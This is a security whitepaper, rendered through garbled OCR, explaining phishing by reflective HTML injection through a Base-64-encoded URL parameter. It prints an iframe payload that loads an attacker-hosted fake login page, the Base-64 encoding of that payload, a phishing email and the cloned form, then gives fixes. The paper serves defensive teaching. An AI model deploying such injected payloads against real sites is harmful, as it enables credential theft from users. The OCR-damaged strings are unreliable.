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Phishing through Base-64 Encoded Reflective HTML
Injection

Abstract

Through Phishing, an attacker steals critical information like user credentials,
financial details, etc. from a victim. Phishing through a base-64 encoded reflective
XSS vector is especially dangerous since the URL’s domain is genuine and the vector

is hidden in a genuine looking string, which is the icing on the cake.

Introduction

Phishing attacks using the domain name of the genuine site are especially deadly,
since users cannot distinguish between the fake and the original. Such a phishing

attack is possible when the application is prone to reflective XSS.

By implementing Base-64 encoding to pass URL parameter values, site owners
mistakenly believe that they have secured their site against reflective XSS. Encoded
value can be easily decoded, changed in any way the attacker wants, and then
encoded again. Base-64 encoding of parameter values provide no protection against
reflective XSS and HTML injection attacks; rather, it ends up increasing the success

rate such attacks as will be demonstrated in this paper.
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A Likely Scenario

An attacker sends the following maliciously crafted URL to the E-Mail account of an

application user.

Mail Search Try the new Yahoo! Mail

Previous | Mext | Back to Messages Matk az Unread | BM

Delete  Reply = Fomward ~ Spam - Mowe.. ~ Seemingly genuine string

Ty L1 AOgQUst, f0L0 I LD FIT

 Activate your Account
From: C:l "sudip narayan das” <sudipsipu2006@amall.com [

Ta: sudip das@securayes.net

Genuine Domain

Dear User,

Your account has been blocked due to g
Plezse click the link below to act;

\httg:gvu erablel23.co
Jindes. PRRFTEG=FalmcmE tZ25BzemiMIaHRIc Doyl 3d3dy ShdCophid4e XouaHRt b CA3aWR1AD0XMTIwIGh W dodD0yOT AgRIBTUYCT LIERYIIMD48L2m e mFtZ T48C2 Ny a%B0Pg=S

Tharks
Administrator

Delete © Reply =+ Forward = Spam = Move. =

Select Message Encoding ¥ || Full Headets

Previous | Mest | Back to Messages

http://vulnerablel123.com/index.php?msg=PGImcmFtZSBzcmM9aHRO0OcDovL3d3dy5h

dC5pbi94eXouaHRtbCB3aWR0aDOxMTIwIGhlaWdodDOyOTAgRIIBTUVCT1JERVIOMD4

8L2ImcmFtZT48c2NyaXBOPg==

The victim user thinks the URL is genuine by seeing the domain name and is also

familiar with the Base-64 encoded string in the URL.
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The Exploit

The attacker clicks on the URL and is shown the following page:

@ - e fot http:/fvuinerablz 123, com/index, phpPmsg=PGlmecmPtZSBzcrmMIaHR 0cDovL 3d3dyShdCSphid4ekonaHR. & - mﬂ AL R , BoE

@ Most Visited ’ Getting Started |5 Latest Headlines

@ Disable~ g Cookigs- [ €55+ (| Forms- [ Images~ @ Infarmation- () Miscellaneous- " Outline- . : Resizer j’-\’ Tools~ Q Wiew Source~ . Options~ X000
-

S s smwes comars

Login

Connection Status OK

Usemame |
Password |

¥B66

Text i
Reload Image

Connecting from

Done 4

The above page appears to be a legitimate one which is actually not the case. The
screenshot of the HTML source code of the above page shows a malicious Iframe has
also been inserted in the main frame.

File Edit Wiew Help

~
ar</1ix

rices</ax</1ix

cellpadding="0" border="0" align="center™:>

nSubmit="recurn wvalidate();">

plign="center”™ border="0">

pding"><font face="arial” size="Z"></font></span></br</td></tr>

pding"><font face="arial” size="Z"></font></span></br</td></tr>

rding”><font face size="4">Login</font></span></br</td></tr>

<iframe src=http .in, ~html width=1120 heigh 0 FRAMEBORDER= /apan></t

Ername” autocomplete="off"™ </ tdr</tr>
Eize="4":>Password</font></cd>

Frpassword™ asutocomplete="off™ </ td></tr>
A="captcha™ src="..fincludesfsecurimagefsecurimage_show.php" alt="CAPTCHL Image"></tdr</tr>
Eize="4m:Text</fonts></ td>

' 3ize="10" maxlength="6" autocomplete="off"/><br><a href="#" onclick="document.getElementEyId(' captc
£ nagpe="submwitl" wvalue="3ubmit" class="button":>&nbsp;<input type="reset" nawme="reset" walus="Reset"
Eding™><font face="arial”™ size="2"s</fontr</spanr</br<ftdr<Str>

pan class=error> <fgpanr</tdr</tr></tablex>
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Behind the Scenes

The attacker exploits the Base-64 encoding for value of the ‘msg’ URL parameter. He

frames the following malicious vector:

Width and height has been defined

Iframe that will redirect the accordingly to spoof the original
user to the attacker’s page look and feel.

|<iframe src=http://www.at.in/xyz.htmljwidth=1120 height: 290
FRAMEBORDER=0> </iframe><script>

Frame border has been
set to ‘0’ to disable the
frame border outlines.

An open script tag has
been added which renders
the legitimate remaining
page HTML invisible.

The above iframe is encoded into the following Base-64 encoded string:

PGImcmFtZSBzcmM9aHROcDovL3d3dy5hdC5pbi94eXouaHRtbCB3aWR0aDO0Xx
MTIwWIGhlaWdodDOyOTAgRIJIBTUVCT1JERVI9MD48L2ImcmFtZT48c2NyaXBO

The ‘xyz.html’' page of the attacker’s site is just the replica of the original Login page

of the application as demonstrated below.
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Legitimate Site:

6 - c LNy http:/fvulnerablel 23, comfindesx. php?msg=029ubmijdGvbiETdGFOdX Mg TOs= 3> - mﬂ = ".' i ) Fs |"_|
[5] Most visited P Getting Started | Latest Headlines
@ Disable- £\ Cookies~ ] C55- 2 Forms- 5 Images- @ Information= (0 Miscela e~ |, o Resize~ 4 Tools~ fx] View Source= - Options- X0

P -+

3| &

http://vulnerablel23.com/index.php?msg=Q29ubmVjdGlvb
iBTdGFOdXMgTOs=

Login

Connection Status OK

Username| |
Password[ |

U 4B

Text
BEeload Image

Connecting from

v

Done ) FoxcyProvey: Disabled @

Attacker's Site:
@ - c fat httpffvulner able 123, comfindes.,

@ Most Wisited , Getting Started 5| Latest Headlines

=DInemFtZSEzemMIaHROcDovL 3d3dyShdCSphigderouaHR. = ~ mﬂ S Pl x

=

(& Disable~ £ Cookies- || €55+ [ Forms= 5] Inn

B http://vulnerable123.com/index.php?msg=PGImcmFtZSBzcmM9aH

ROcDovL3d3dy5hdC5pbi94eXouaHRtbCB3aWR0aDOxMTIwIGhlawdo
dDOyOTAgRIIBTUVCT1JERVIOMD48L2ImcmFtZT48c2NyaXBOPg==

S e e s

Login

Connection Status OK

Usemame| |
Password| |

68

Text
Reload Image

Connecting from

Dane o ) o
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The html source of the attacker's site is:

PP xyzhtml - Notepad Attacker's page to steal the
Fle Edit Format View Help credentials of the victim

<tahle hei?ht=”?0%“ width="80%" cellspacing="0
<tr=<td valign="middle">

<Farm name:"?’rm" method="post" action onsubmit="return validate();"s
<input type="hidden" name="frmaction" vaTue="submit"=

<tanle width="250" cellspacing="1" cellpadding="2" align="center’ horder="0">
<tre<td colspan="2" align="center"s<h><span class="heading"»><font face="arial"
size="2">»</fonte</spanz</be</Td></tr>

<tre<td colspan="2" align="center"><b><span class="heading"><font face="arial"
size="2">»</fonte</spanz</be</Td></tr>

=10l

<tre<td colspan="2" align="center"><span class=errar

style="font-family:arial;color:red; font-size:13px"=Connection status ok</span></td></tre<tre<td
width="150" align="right"><font face="arial" size="4":Username</font></ Td>

<td width="200"><input type="text" size="15" name="username" autocomplete="off" »< tdr</tre
<tre<td width="150" align="right"><font face="arial" size="4"»Password</font></td>

<td width="200"><input type="password" size="15" name="password” autocomplete="off" »</td-</tr>

<trr<td width="350" align="center" calspan="2"><img fd="captcha" src="securimage_show.jpg" alt="CAPTCHA
Image" >/ td></Trs

<tre<td width="150" align="right"><font face="arial" size="4"»Text</font=</td>

<td width="200"><input type="text" name="captcha_code" size="10" maxlength="6" autocomplete="off"/ ><hr><a
href="#" onclick="document.getElementById( captcha').src = ', AAncludes/securimage/securimage_show, php?'

+

Math.random(); return false"s><font face="arial" size="2">Reload Image</font></a></td></trs
<tre<td colspan="2" align="center"=<input type="submit" name="submitl" walue="submit"
class="button"s&nhsp; <input type="reset" name="reset"” value="Reset" class="button"»</td></tr>
<trx<td colspan="2" align="center"s<hx<span class="heading"»<font face="arial"
size="2">»</fonte</spanz</be</Td></tr>

<tre<td colspan="2" align="center">Connecting from <span

style="font-family:arial;color:red; font-size13px»10.1. 29, 53</spanz</td></tr></tahle>
</Torms

</

</tables

The Impact

Hiding the attack vectors in base-64 encoding can be devastating to a site’s
reputation. It can lead to phishing attacks, reflective XSS attacks, as well as

defacements.

Recommended Resolutions

‘Security through Obscurity’ measures should be avoided. Further, strict ‘white list’
based server side validation should be performed against user entered strings.
In the event where reflection of user entered strings is required, proper output

encoding should be performed to prevent malicious codes from being executed.
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